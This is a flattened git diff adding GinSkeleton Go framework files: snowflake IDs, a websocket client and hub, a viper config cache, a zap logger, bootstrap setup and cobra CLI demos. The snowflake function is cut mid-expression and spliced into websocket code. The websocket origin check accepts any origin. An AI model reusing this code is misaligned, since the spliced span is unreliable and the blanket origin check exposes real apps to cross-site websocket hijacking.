&snowflake{ + timestamp: 0, + machineId: variable.ConfigYml.GetInt64("SnowFlake.SnowFlakeMachineId"), + sequence: 0, + } +} + +type snowflake struct { + sync.Mutex + timestamp int64 + machineId int64 + sequence int64 +} + +// 生成分布式ID +func (s *snowflake) GetId() int64 { + s.Lock() + defer func() { + s.Unlock() + }() + now := time.Now().UnixNano() / 1e6 + if s.timestamp == now { + s.sequence = (s.sequence + 1) & consts.SequenceMask + if s.sequence == 0 { + for now <= s.timestamp { + now = time.Now().UnixNano() / 1e6 + } + } + } else { + s.sequence = 0 + } + s.timestamp = now + r := (now-consts.StartTimeStamp)<websocket + defer func() { + err := recover() + if err != nil { + if val, ok := err.(error); ok { + variable.ZapLog.Error(my_errors.ErrorsWebsocketOnOpenFail, zap.Error(val)) + } + } + }() + var upGrader = websocket.Upgrader{ + ReadBufferSize: variable.ConfigYml.GetInt("Websocket.WriteReadBufferSize"), + WriteBufferSize: variable.ConfigYml.GetInt("Websocket.WriteReadBufferSize"), + CheckOrigin: func(r *http.Request) bool { + return true + }, + } + + // 2.将http协议升级到websocket协议.初始化一个有效的websocket长连接客户端 + if wsConn, err := upGrader.Upgrade(context.Writer, context.Request, nil); err != nil { + variable.ZapLog.Error(my_errors.ErrorsWebsocketUpgradeFail + err.Error()) + return nil, false + } else { + if wsHub, ok := variable.WebsocketHub.(*Hub); ok { + c.Hub = wsHub + } + c.Conn = wsConn + c.Send = make(chan []byte, variable.ConfigYml.GetInt("Websocket.WriteReadBufferSize")) + c.PingPeriod = time.Second * variable.ConfigYml.GetDuration("Websocket.PingPeriod") + c.ReadDeadline = time.Second * variable.ConfigYml.GetDuration("Websocket.ReadDeadline") + c.WriteDeadline = time.Second * variable.ConfigYml.GetDuration("Websocket.WriteDeadline") + + if err := c.SendMessage(websocket.TextMessage, variable.WebsocketHandshakeSuccess); err != nil { + variable.ZapLog.Error(my_errors.ErrorsWebsocketWriteMgsFail, zap.Error(err)) + } + c.Conn.SetReadLimit(variable.ConfigYml.GetInt64("Websocket.MaxMessageSize")) // 设置最大读取长度 + c.Hub.Register <- c + c.State = 1 + c.ClientLastPongTime = time.Now() + return c, true + } + +} + +// 主要功能主要是实时接收消息 +func (c *Client) ReadPump(callbackOnMessage func(messageType int, receivedData []byte), callbackOnError func(err error), callbackOnClose func()) { + // 回调 onclose 事件 + defer func() { + err := recover() + if err != nil { + if realErr, isOk := err.(error); isOk { + variable.ZapLog.Error(my_errors.ErrorsWebsocketReadMessageFail, zap.Error(realErr)) + } + } + callbackOnClose() + }() + + // OnMessage事件 + for { + if c.State == 1 { + mt, bReceivedData, err := c.Conn.ReadMessage() + if err == nil { + callbackOnMessage(mt, bReceivedData) + } else { + // OnError事件读(消息出错) + callbackOnError(err) + break + } + } else { + // OnError事件(状态不可用,一般是程序事先检测到双方无法进行通信,进行的回调) + callbackOnError(errors.New(my_errors.ErrorsWebsocketStateInvalid)) + break + } + + } +} + +// 发送消息,请统一调用本函数进行发送 +// 消息发送时增加互斥锁,加强并发情况下程序稳定性 +// 提醒:开发者发送消息时,不要调用 c.Conn.WriteMessage(messageType, []byte(message)) 直接发送消息 +func (c *Client) SendMessage(messageType int, message string) error { + c.Lock() + defer func() { + c.Unlock() + }() + // 发送消息时,必须设置本次消息的最大允许时长(秒) + if err := c.Conn.SetWriteDeadline(time.Now().Add(c.WriteDeadline)); err != nil { + variable.ZapLog.Error(my_errors.ErrorsWebsocketSetWriteDeadlineFail, zap.Error(err)) + return err + } + if err := c.Conn.WriteMessage(messageType, []byte(message)); err != nil { + return err + } else { + return nil + } +} + +// 按照websocket标准协议实现隐式心跳,Server端向Client远端发送ping格式数据包,浏览器收到ping标准格式,自动将消息原路返回给服务器 +func (c *Client) Heartbeat() { + // 1. 设置一个时钟,周期性的向client远端发送心跳数据包 + ticker := time.NewTicker(c.PingPeriod) + defer func() { + err := recover() + if err != nil { + if val, ok := err.(error); ok { + variable.ZapLog.Error(my_errors.ErrorsWebsocketBeatHeartFail, zap.Error(val)) + } + } + ticker.Stop() // 停止该client的心跳检测 + }() + //2.浏览器收到服务器的ping格式消息,会自动响应pong消息,将服务器消息原路返回过来 + if c.ReadDeadline == 0 { + _ = c.Conn.SetReadDeadline(time.Time{}) + } else { + _ = c.Conn.SetReadDeadline(time.Now().Add(c.ReadDeadline)) + } + c.Conn.SetPongHandler(func(receivedPong string) error { + if c.ReadDeadline > time.Nanosecond { + _ = c.Conn.SetReadDeadline(time.Now().Add(c.ReadDeadline)) + } else { + _ = c.Conn.SetReadDeadline(time.Time{}) + } + // 客户端响应了服务端的ping消息以后,更新最近一次响应的时间 + c.ClientLastPongTime = time.Now() + //fmt.Println("浏览器收到ping标准格式,自动将消息原路返回给服务器:", receivedPong) // 接受到的消息叫做pong,实际上就是服务器发送出去的ping数据包 + return nil + }) + //3.自动心跳数据 + for { + select { + case <-ticker.C: + if c.State == 1 { + // 这里优先检查客户端最后一次响应ping消息的时间是否超过了服务端允许的最大时间 + // 这种检测针对断电、暴力测试中的拔网线很有用,因为直接断电、拔掉网线,客户端所有的回调函数(close、error等)相关的窗台数据无法传递出去,服务端的socket文件状态无法更新, + // 服务端无法在第一时间感知到客户端掉线 + serverAllowMaxOfflineSeconds := float64(variable.ConfigYml.GetInt("Websocket.HeartbeatFailMaxTimes")) * (float64(variable.ConfigYml.GetDuration("Websocket.PingPeriod"))) + if time.Now().Sub(c.ClientLastPongTime).Seconds() > serverAllowMaxOfflineSeconds { + c.State = 0 + c.Hub.UnRegister <- c // 掉线的客户端统一注销 + variable.ZapLog.Warn(my_errors.ErrorsWebsocketClientOfflineTimeout, zap.Float64("timeout(seconds): ", serverAllowMaxOfflineSeconds)) + return + } + + // 下面是正常的检测逻辑,只要正常关闭浏览器、通过操作按钮等退出客户端,以下代码就是有效的 + if err := c.SendMessage(websocket.PingMessage, variable.WebsocketServerPingMsg); err != nil { + c.HeartbeatFailTimes++ + if c.HeartbeatFailTimes > variable.ConfigYml.GetInt("Websocket.HeartbeatFailMaxTimes") { + c.State = 0 + c.Hub.UnRegister <- c // 掉线的客户端统一注销 + variable.ZapLog.Error(my_errors.ErrorsWebsocketBeatHeartsMoreThanMaxTimes, zap.Error(err)) + return + } + } else { + if c.HeartbeatFailTimes > 0 { + c.HeartbeatFailTimes-- + } + } + } else { + return + } + + } + } +} diff --git a/GinSkeleton/app/utils/websocket/core/hub.go b/GinSkeleton/app/utils/websocket/core/hub.go new file mode 100644 index 0000000..df9db68 --- /dev/null +++ b/GinSkeleton/app/utils/websocket/core/hub.go @@ -0,0 +1,32 @@ +package core + +type Hub struct { + //上线注册 + Register chan *Client + //下线注销 + UnRegister chan *Client + //所有在线客户端的内存地址 + Clients map[*Client]bool +} + +func CreateHubFactory() *Hub { + return &Hub{ + Register: make(chan *Client), + UnRegister: make(chan *Client), + Clients: make(map[*Client]bool), + } +} + +func (h *Hub) Run() { + for { + select { + case client := <-h.Register: + h.Clients[client] = true + case client := <-h.UnRegister: + if _, ok := h.Clients[client]; ok { + _ = client.Conn.Close() + delete(h.Clients, client) + } + } + } +} diff --git a/GinSkeleton/app/utils/yml_config/yml_config.go b/GinSkeleton/app/utils/yml_config/yml_config.go new file mode 100644 index 0000000..614d39d --- /dev/null +++ b/GinSkeleton/app/utils/yml_config/yml_config.go @@ -0,0 +1,214 @@ +package yml_config + +import ( + "github.com/fsnotify/fsnotify" + "github.com/spf13/viper" + "go.uber.org/zap" + "goskeleton/app/core/container" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/utils/yml_config/ymlconfig_interf" + "log" + "sync" + "time" +) + +// 由于 vipver 包本身对于文件的变化事件有一个bug,相关事件会被回调两次 +// 常年未彻底解决,相关的 issue 清单:https://github.com/spf13/viper/issues?q=OnConfigChange +// 设置一个内部全局变量,记录配置文件变化时的时间点,如果两次回调事件事件差小于1秒,我们认为是第二次回调事件,而不是人工修改配置文件 +// 这样就避免了 viper 包的这个bug + +var lastChangeTime time.Time +var containerFactory = container.CreateContainersFactory() + +func init() { + lastChangeTime = time.Now() +} + +// CreateYamlFactory 创建一个yaml配置文件工厂 +// 参数设置为可变参数的文件名,这样参数就可以不需要传递,如果传递了多个,我们只取第一个参数作为配置文件名 +func CreateYamlFactory(fileName ...string) ymlconfig_interf.YmlConfigInterf { + + yamlConfig := viper.New() + // 配置文件所在目录 + yamlConfig.AddConfigPath(variable.BasePath + "/config") + // 需要读取的文件名,默认为:config + if len(fileName) == 0 { + yamlConfig.SetConfigName("config") + } else { + yamlConfig.SetConfigName(fileName[0]) + } + //设置配置文件类型(后缀)为 yml + yamlConfig.SetConfigType("yml") + + if err := yamlConfig.ReadInConfig(); err != nil { + log.Fatal(my_errors.ErrorsConfigInitFail + err.Error()) + } + + return &ymlConfig{ + viper: yamlConfig, + mu: new(sync.Mutex), + } +} + +type ymlConfig struct { + viper *viper.Viper + mu *sync.Mutex +} + +//ConfigFileChangeListen 监听文件变化 +func (y *ymlConfig) ConfigFileChangeListen() { + y.viper.OnConfigChange(func(changeEvent fsnotify.Event) { + if time.Now().Sub(lastChangeTime).Seconds() >= 1 { + if changeEvent.Op.String() == "WRITE" { + y.clearCache() + lastChangeTime = time.Now() + } + } + }) + y.viper.WatchConfig() +} + +// keyIsCache 判断相关键是否已经缓存 +func (y *ymlConfig) keyIsCache(keyName string) bool { + if _, exists := containerFactory.KeyIsExists(variable.ConfigKeyPrefix + keyName); exists { + return true + } else { + return false + } +} + +// 对键值进行缓存 +func (y *ymlConfig) cache(keyName string, value interface{}) bool { + // 避免瞬间缓存键、值时,程序提示键名已经被注册的日志输出 + y.mu.Lock() + defer y.mu.Unlock() + if _, exists := containerFactory.KeyIsExists(variable.ConfigKeyPrefix + keyName); exists { + return true + } + return containerFactory.Set(variable.ConfigKeyPrefix+keyName, value) +} + +// 通过键获取缓存的值 +func (y *ymlConfig) getValueFromCache(keyName string) interface{} { + return containerFactory.Get(variable.ConfigKeyPrefix + keyName) +} + +// 清空已经缓存的配置项信息 +func (y *ymlConfig) clearCache() { + containerFactory.FuzzyDelete(variable.ConfigKeyPrefix) +} + +// Clone 允许 clone 一个相同功能的结构体 +func (y *ymlConfig) Clone(fileName string) ymlconfig_interf.YmlConfigInterf { + // 这里存在一个深拷贝,需要注意,避免拷贝的结构体操作对原始结构体造成影响 + var ymlC = *y + var ymlConfViper = *(y.viper) + (&ymlC).viper = &ymlConfViper + + (&ymlC).viper.SetConfigName(fileName) + if err := (&ymlC).viper.ReadInConfig(); err != nil { + variable.ZapLog.Error(my_errors.ErrorsConfigInitFail, zap.Error(err)) + } + return &ymlC +} + +// Get 一个原始值 +func (y *ymlConfig) Get(keyName string) interface{} { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName) + } else { + value := y.viper.Get(keyName) + y.cache(keyName, value) + return value + } +} + +// GetString 字符串格式返回值 +func (y *ymlConfig) GetString(keyName string) string { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(string) + } else { + value := y.viper.GetString(keyName) + y.cache(keyName, value) + return value + } + +} + +// GetBool 布尔格式返回值 +func (y *ymlConfig) GetBool(keyName string) bool { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(bool) + } else { + value := y.viper.GetBool(keyName) + y.cache(keyName, value) + return value + } +} + +// GetInt 整数格式返回值 +func (y *ymlConfig) GetInt(keyName string) int { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(int) + } else { + value := y.viper.GetInt(keyName) + y.cache(keyName, value) + return value + } +} + +// GetInt32 整数格式返回值 +func (y *ymlConfig) GetInt32(keyName string) int32 { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(int32) + } else { + value := y.viper.GetInt32(keyName) + y.cache(keyName, value) + return value + } +} + +// GetInt64 整数格式返回值 +func (y *ymlConfig) GetInt64(keyName string) int64 { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(int64) + } else { + value := y.viper.GetInt64(keyName) + y.cache(keyName, value) + return value + } +} + +// GetFloat64 小数格式返回值 +func (y *ymlConfig) GetFloat64(keyName string) float64 { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(float64) + } else { + value := y.viper.GetFloat64(keyName) + y.cache(keyName, value) + return value + } +} + +// GetDuration 时间单位格式返回值 +func (y *ymlConfig) GetDuration(keyName string) time.Duration { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).(time.Duration) + } else { + value := y.viper.GetDuration(keyName) + y.cache(keyName, value) + return value + } +} + +// GetStringSlice 字符串切片数格式返回值 +func (y *ymlConfig) GetStringSlice(keyName string) []string { + if y.keyIsCache(keyName) { + return y.getValueFromCache(keyName).([]string) + } else { + value := y.viper.GetStringSlice(keyName) + y.cache(keyName, value) + return value + } +} diff --git a/GinSkeleton/app/utils/yml_config/ymlconfig_interf/yml_conf_interf.go b/GinSkeleton/app/utils/yml_config/ymlconfig_interf/yml_conf_interf.go new file mode 100644 index 0000000..c799f2a --- /dev/null +++ b/GinSkeleton/app/utils/yml_config/ymlconfig_interf/yml_conf_interf.go @@ -0,0 +1,19 @@ +package ymlconfig_interf + +import ( + "time" +) + +type YmlConfigInterf interface { + ConfigFileChangeListen() + Clone(fileName string) YmlConfigInterf + Get(keyName string) interface{} + GetString(keyName string) string + GetBool(keyName string) bool + GetInt(keyName string) int + GetInt32(keyName string) int32 + GetInt64(keyName string) int64 + GetFloat64(keyName string) float64 + GetDuration(keyName string) time.Duration + GetStringSlice(keyName string) []string +} diff --git a/GinSkeleton/app/utils/zap_factory/zap_factory.go b/GinSkeleton/app/utils/zap_factory/zap_factory.go new file mode 100644 index 0000000..b09f0a9 --- /dev/null +++ b/GinSkeleton/app/utils/zap_factory/zap_factory.go @@ -0,0 +1,73 @@ +package zap_factory + +import ( + "github.com/natefinch/lumberjack" + "go.uber.org/zap" + "go.uber.org/zap/zapcore" + "goskeleton/app/global/variable" + "log" + "time" +) + +func CreateZapFactory(entry func(zapcore.Entry) error) *zap.Logger { + + // 获取程序所处的模式: 开发调试 、 生产 + //variable.ConfigYml := yml_config.CreateYamlFactory() + appDebug := variable.ConfigYml.GetBool("AppDebug") + + // 判断程序当前所处的模式,调试模式直接返回一个便捷的zap日志管理器地址,所有的日志打印到控制台即可 + if appDebug == true { + if logger, err := zap.NewDevelopment(zap.Hooks(entry)); err == nil { + return logger + } else { + log.Fatal("创建zap日志包失败,详情:" + err.Error()) + } + } + + // 以下才是 非调试(生产)模式所需要的代码 + encoderConfig := zap.NewProductionEncoderConfig() + + timePrecision := variable.ConfigYml.GetString("Logs.TimePrecision") + var recordTimeFormat string + switch timePrecision { + case "second": + recordTimeFormat = "2006-01-02 15:04:05" + case "millisecond": + recordTimeFormat = "2006-01-02 15:04:05.000" + default: + recordTimeFormat = "2006-01-02 15:04:05" + + } + encoderConfig.EncodeTime = func(t time.Time, enc zapcore.PrimitiveArrayEncoder) { + enc.AppendString(t.Format(recordTimeFormat)) + } + encoderConfig.EncodeLevel = zapcore.CapitalLevelEncoder + encoderConfig.TimeKey = "created_at" // 生成json格式日志的时间键字段,默认为 ts,修改以后方便日志导入到 ELK 服务器 + + var encoder zapcore.Encoder + switch variable.ConfigYml.GetString("Logs.TextFormat") { + case "console": + encoder = zapcore.NewConsoleEncoder(encoderConfig) // 普通模式 + case "json": + encoder = zapcore.NewJSONEncoder(encoderConfig) // json格式 + default: + encoder = zapcore.NewConsoleEncoder(encoderConfig) // 普通模式 + } + + //写入器 + fileName := variable.BasePath + variable.ConfigYml.GetString("Logs.GoSkeletonLogName") + lumberJackLogger := &lumberjack.Logger{ + Filename: fileName, //日志文件的位置 + MaxSize: variable.ConfigYml.GetInt("Logs.MaxSize"), //在进行切割之前,日志文件的最大大小(以MB为单位) + MaxBackups: variable.ConfigYml.GetInt("Logs.MaxBackups"), //保留旧文件的最大个数 + MaxAge: variable.ConfigYml.GetInt("Logs.MaxAge"), //保留旧文件的最大天数 + Compress: variable.ConfigYml.GetBool("Logs.Compress"), //是否压缩/归档旧文件 + } + writer := zapcore.AddSync(lumberJackLogger) + // 开始初始化zap日志核心参数, + //参数一:编码器 + //参数二:写入器 + //参数三:参数级别,debug级别支持后续调用的所有函数写日志,如果是 fatal 高级别,则级别>=fatal 才可以写日志 + zapCore := zapcore.NewCore(encoder, writer, zap.InfoLevel) + return zap.New(zapCore, zap.AddCaller(), zap.Hooks(entry), zap.AddStacktrace(zap.WarnLevel)) +} diff --git a/GinSkeleton/bootstrap/init.go b/GinSkeleton/bootstrap/init.go new file mode 100644 index 0000000..8f4c2c5 --- /dev/null +++ b/GinSkeleton/bootstrap/init.go @@ -0,0 +1,116 @@ +package bootstrap + +import ( + _ "goskeleton/app/core/destroy" // 监听程序退出信号,用于资源的释放 + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/http/validator/common/register_validator" + "goskeleton/app/service/sys_log_hook" + "goskeleton/app/utils/casbin_v2" + "goskeleton/app/utils/gorm_v2" + "goskeleton/app/utils/snow_flake" + "goskeleton/app/utils/validator_translation" + "goskeleton/app/utils/websocket/core" + "goskeleton/app/utils/yml_config" + "goskeleton/app/utils/zap_factory" + "log" + "os" +) + +// 检查项目必须的非编译目录是否存在,避免编译后调用的时候缺失相关目录 +func checkRequiredFolders() { + //1.检查配置文件是否存在 + if _, err := os.Stat(variable.BasePath + "/config/config.yml"); err != nil { + log.Fatal(my_errors.ErrorsConfigYamlNotExists + err.Error()) + } + if _, err := os.Stat(variable.BasePath + "/config/gorm_v2.yml"); err != nil { + log.Fatal(my_errors.ErrorsConfigGormNotExists + err.Error()) + } + //2.检查public目录是否存在 + if _, err := os.Stat(variable.BasePath + "/public/"); err != nil { + log.Fatal(my_errors.ErrorsPublicNotExists + err.Error()) + } + //3.检查storage/logs 目录是否存在 + if _, err := os.Stat(variable.BasePath + "/storage/logs/"); err != nil { + log.Fatal(my_errors.ErrorsStorageLogsNotExists + err.Error()) + } + // 4.自动创建软连接、更好的管理静态资源 + if _, err := os.Stat(variable.BasePath + "/public/storage"); err == nil { + if err = os.RemoveAll(variable.BasePath + "/public/storage"); err != nil { + log.Fatal(my_errors.ErrorsSoftLinkDeleteFail + err.Error()) + } + } + if err := os.Symlink(variable.BasePath+"/storage/app", variable.BasePath+"/public/storage"); err != nil { + log.Fatal(my_errors.ErrorsSoftLinkCreateFail + err.Error()) + } +} + +func init() { + // 1. 初始化 项目根路径,参见 variable 常量包,相关路径:app\global\variable\variable.go + + //2.检查配置文件以及日志目录等非编译性的必要条件 + checkRequiredFolders() + + //3.初始化表单参数验证器,注册在容器(Web、Api共用容器) + register_validator.WebRegisterValidator() + register_validator.ApiRegisterValidator() + + // 4.启动针对配置文件(confgi.yml、gorm_v2.yml)变化的监听, 配置文件操作指针,初始化为全局变量 + variable.ConfigYml = yml_config.CreateYamlFactory() + variable.ConfigYml.ConfigFileChangeListen() + // config>gorm_v2.yml 启动文件变化监听事件 + variable.ConfigGormv2Yml = variable.ConfigYml.Clone("gorm_v2") + variable.ConfigGormv2Yml.ConfigFileChangeListen() + + // 5.初始化全局日志句柄,并载入日志钩子处理函数 + variable.ZapLog = zap_factory.CreateZapFactory(sys_log_hook.ZapLogHandler) + + // 6.根据配置初始化 gorm mysql 全局 *gorm.Db + if variable.ConfigGormv2Yml.GetInt("Gormv2.Mysql.IsInitGlobalGormMysql") == 1 { + if dbMysql, err := gorm_v2.GetOneMysqlClient(); err != nil { + log.Fatal(my_errors.ErrorsGormInitFail + err.Error()) + } else { + variable.GormDbMysql = dbMysql + } + } + // 根据配置初始化 gorm sqlserver 全局 *gorm.Db + if variable.ConfigGormv2Yml.GetInt("Gormv2.Sqlserver.IsInitGlobalGormSqlserver") == 1 { + if dbSqlserver, err := gorm_v2.GetOneSqlserverClient(); err != nil { + log.Fatal(my_errors.ErrorsGormInitFail + err.Error()) + } else { + variable.GormDbSqlserver = dbSqlserver + } + } + // 根据配置初始化 gorm postgresql 全局 *gorm.Db + if variable.ConfigGormv2Yml.GetInt("Gormv2.PostgreSql.IsInitGlobalGormPostgreSql") == 1 { + if dbPostgre, err := gorm_v2.GetOnePostgreSqlClient(); err != nil { + log.Fatal(my_errors.ErrorsGormInitFail + err.Error()) + } else { + variable.GormDbPostgreSql = dbPostgre + } + } + + // 7.雪花算法全局变量 + variable.SnowFlake = snow_flake.CreateSnowflakeFactory() + + // 8.websocket Hub中心启动 + if variable.ConfigYml.GetInt("Websocket.Start") == 1 { + // websocket 管理中心hub全局初始化一份 + variable.WebsocketHub = core.CreateHubFactory() + if Wh, ok := variable.WebsocketHub.(*core.Hub); ok { + go Wh.Run() + } + } + + // 9.casbin 依据配置文件设置参数(IsInit=1)初始化 + if variable.ConfigYml.GetInt("Casbin.IsInit") == 1 { + var err error + if variable.Enforcer, err = casbin_v2.InitCasbinEnforcer(); err != nil { + log.Fatal(err.Error()) + } + } + //10.全局注册 validator 错误翻译器,zh 代表中文,en 代表英语 + if err := validator_translation.InitTrans("zh"); err != nil { + log.Fatal(my_errors.ErrorsValidatorTransInitFail + err.Error()) + } +} diff --git a/GinSkeleton/cmd/api/main.go b/GinSkeleton/cmd/api/main.go new file mode 100644 index 0000000..5459ee8 --- /dev/null +++ b/GinSkeleton/cmd/api/main.go @@ -0,0 +1,13 @@ +package main + +import ( + "goskeleton/app/global/variable" + _ "goskeleton/bootstrap" + "goskeleton/routers" +) + +// 这里可以存放门户类网站入口 +func main() { + router := routers.InitApiRouter() + _ = router.Run(variable.ConfigYml.GetString("HttpServer.Api.Port")) +} diff --git a/GinSkeleton/cmd/cli/main.go b/GinSkeleton/cmd/cli/main.go new file mode 100644 index 0000000..5bbb189 --- /dev/null +++ b/GinSkeleton/cmd/cli/main.go @@ -0,0 +1,12 @@ +package main + +import ( + _ "goskeleton/bootstrap" + cmd "goskeleton/command" +) + +// 开发非http接口类服务入口 +func main() { + // 设置运行模式为 cli(console) + cmd.Execute() +} diff --git a/GinSkeleton/cmd/web/main.go b/GinSkeleton/cmd/web/main.go new file mode 100644 index 0000000..d778669 --- /dev/null +++ b/GinSkeleton/cmd/web/main.go @@ -0,0 +1,13 @@ +package main + +import ( + "goskeleton/app/global/variable" + _ "goskeleton/bootstrap" + "goskeleton/routers" +) + +// 这里可以存放后端路由(例如后台管理系统) +func main() { + router := routers.InitWebRouter() + _ = router.Run(variable.ConfigYml.GetString("HttpServer.Web.Port")) +} diff --git a/GinSkeleton/command/demo/demo.go b/GinSkeleton/command/demo/demo.go new file mode 100644 index 0000000..a9adb95 --- /dev/null +++ b/GinSkeleton/command/demo/demo.go @@ -0,0 +1,76 @@ +package demo + +import ( + "github.com/spf13/cobra" + "goskeleton/app/global/variable" +) + +// Demo示例文件,我们假设一个场景: +// 通过一个命令指定 搜索引擎(百度、搜狗、谷歌)、搜索类型(文本、图片)、关键词 执行一系列的命令 + +var ( + // 1.定义一个变量,接收搜索引擎(百度、搜狗、谷歌) + SearchEngines string + // 2.搜索的类型(图片、文字) + SearchType string + // 3.关键词 + KeyWords string +) + +var logger = variable.ZapLog.Sugar() + +// 定义命令 +var Demo1 = &cobra.Command{ + Use: "sousuo", + Aliases: []string{"sou", "ss", "s"}, // 定义别名 + Short: "这是一个Demo,以搜索内容进行演示业务逻辑...", + Long: `调用方法: + 1.进入项目根目录(Ginkeleton)。 + 2.执行 go run cmd/cli/main.go sousuo -h //可以查看使用指南 + 3.执行 go run cmd/cli/main.go sousuo 百度 // 快速运行一个Demo + 4.执行 go run cmd/cli/main.go sousuo 百度 -K 关键词 -E baidu -T img // 指定参数运行Demo + `, + //Args: cobra.ExactArgs(2), // 限制非flag参数(也叫作位置参数)的个数必须等于 2 ,否则会报错 + // Run命令以及子命令的前置函数 + PersistentPreRun: func(cmd *cobra.Command, args []string) { + //如果只想作为子命令的回调,可以通过相关参数做判断,仅在子命令执行 + logger.Infof("Run函数子命令的前置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + }, + // Run命令的前置函数 + PreRun: func(cmd *cobra.Command, args []string) { + logger.Infof("Run函数的前置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + + }, + // Run 命令是 核心 命令,其余命令都是为该命令服务,可以删除,由您自由选择 + Run: func(cmd *cobra.Command, args []string) { + //args 参数表示非flag(也叫作位置参数),该参数默认会作为一个数组存储。 + //fmt.Println(args) + start(SearchEngines, SearchType, KeyWords) + }, + // Run命令的后置函数 + PostRun: func(cmd *cobra.Command, args []string) { + logger.Infof("Run函数的后置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + }, + // Run命令以及子命令的后置函数 + PersistentPostRun: func(cmd *cobra.Command, args []string) { + //如果只想作为子命令的回调,可以通过相关参数做判断,仅在子命令执行 + logger.Infof("Run函数子命令的后置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + }, +} + +// 注册命令、初始化参数 +func init() { + Demo1.AddCommand(subCmd) + Demo1.Flags().StringVarP(&SearchEngines, "Engines", "E", "baidu", "-E 或者 --Engines 选择搜索引擎,例如:baidu、sogou") + Demo1.Flags().StringVarP(&SearchType, "Type", "T", "img", "-T 或者 --Type 选择搜索的内容类型,例如:图片类") + Demo1.Flags().StringVarP(&KeyWords, "KeyWords", "K", "关键词", "-K 或者 --KeyWords 搜索的关键词") + //Demo1.Flags().BoolP(1,2,3,5) //接收bool类型参数 + //Demo1.Flags().Int64P() //接收int型 +} + +//开始执行 +func start(SearchEngines, SearchType, KeyWords string) { + + logger.Infof("您输入的搜索引擎:%s, 搜索类型:%s, 关键词:%s\n", SearchEngines, SearchType, KeyWords) + +} diff --git a/GinSkeleton/command/demo/sub_cmd.go b/GinSkeleton/command/demo/sub_cmd.go new file mode 100644 index 0000000..ec9ccb1 --- /dev/null +++ b/GinSkeleton/command/demo/sub_cmd.go @@ -0,0 +1,23 @@ +package demo + +import ( + "fmt" + "github.com/spf13/cobra" +) + +// 定义子命令 +var subCmd = &cobra.Command{ + Use: "subCmd", + Short: "subCmd 命令简要介绍", + Long: `命令使用详细介绍`, + Args: cobra.ExactArgs(1), // 限制非flag参数的个数 = 1 ,超过1个会报错 + Run: func(cmd *cobra.Command, args []string) { + fmt.Printf("%s\n", args[0]) + }, +} + +//注册子命令 +func init() { + Demo1.AddCommand(subCmd) + // 子命令仍然可以定义 flag 参数,相关语法参见 demo.go 文件 +} diff --git a/GinSkeleton/command/demo_simple/simple.go b/GinSkeleton/command/demo_simple/simple.go new file mode 100644 index 0000000..4fd0915 --- /dev/null +++ b/GinSkeleton/command/demo_simple/simple.go @@ -0,0 +1,48 @@ +package demo_simple + +import ( + "github.com/spf13/cobra" + "goskeleton/app/global/variable" + "time" +) + +var ( + LogAction string + Date string + logger = variable.ZapLog.Sugar() +) + +// 简单示例 +var DemoSimple = &cobra.Command{ + Use: "demo_simple", + Aliases: []string{"demo_simple"}, // 定义别名 + Short: "这是一个最简单的demo示例", + Long: `调用方法: + 1.进入项目根目录(Ginkeleton)。 + 2.执行 go run cmd/cli/main.go demo_simple -h //可以查看使用指南 + 3.执行 go run cmd/cli/main.go demo_simple -A create // 通过 Action 动作执行相应的命令 + `, + // Run 命令是 核心 命令,其余命令都是为该命令服务,可以删除,由您自由选择 + Run: func(cmd *cobra.Command, args []string) { + //args 参数表示非flag(也叫作位置参数),该参数默认会作为一个数组存储。 + //fmt.Println(args) + start(LogAction, Date) + }, +} + +// 注册命令、初始化参数 +func init() { + DemoSimple.Flags().StringVarP(&LogAction, "logAction", "A", "insert", "-A 指定参数动作,例如:-A insert ") + DemoSimple.Flags().StringVarP(&Date, "date", "D", time.Now().Format("2006-01-02"), "-D 指定日期,例如:-D 2021-09-13") +} + +// 开始执行业务 +func start(actionName, Date string) { + switch actionName { + case "insert": + logger.Info("insert 参数执行对应业务逻辑,Date参数值:" + Date) + case "update": + logger.Info("update 参数执行对应业务逻辑,Date参数值:" + Date) + } + +} diff --git a/GinSkeleton/command/root.go b/GinSkeleton/command/root.go new file mode 100644 index 0000000..2d46a4f --- /dev/null +++ b/GinSkeleton/command/root.go @@ -0,0 +1,41 @@ +package cmd + +import ( + "fmt" + "github.com/spf13/cobra" + "goskeleton/command/demo" + "goskeleton/command/demo_simple" + "os" +) + +// cli 命令基于 https://github.com/spf13/cobra 封装 +// RootCmd represents the base command when called without any subcommands + +var RootCmd = &cobra.Command{ + Use: "Cli", + Short: "A brief description of your application", + Long: `A longer description that spans multiple lines and likely contains + examples and usage of using your application. For example: + + Cobra is a CLI library for Go that empowers applications. + This application is a tool to generate the needed files + to quickly create a Cobra application.`, +} + +// Execute adds all child commands to the root command and sets flags appropriately. +// This is called by main.main(). It only needs to happen once to the RootCmd. +func Execute() { + if err := RootCmd.Execute(); err != nil { + fmt.Println(err) + os.Exit(1) + } +} + +func init() { + + // 如果子命令是存在于子目录,那么就需要在入口统一添加; + // 如果和 root.go 同目录,则不需要像下一行一样添加 + RootCmd.AddCommand(demo.Demo1) + RootCmd.AddCommand(demo_simple.DemoSimple) + +} diff --git a/GinSkeleton/config/config.yml b/GinSkeleton/config/config.yml new file mode 100644 index 0000000..3234b53 --- /dev/null +++ b/GinSkeleton/config/config.yml @@ -0,0 +1,144 @@ +AppDebug: true # 设置程序所处的模式,debug=true 调试模式,日志优先显示在控制台, debug=false 非调试模式,将写入日志文件 + +HttpServer: + Api: + Port: ":20191" #门户网站类端口,注意前面有冒号 + Web: + Port: ":20201" #后端应用类端口,注意前面有冒号 + AllowCrossDomain: true #是否允许跨域,默认 允许,更多关于跨域的介绍从参考:https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/kxddzd 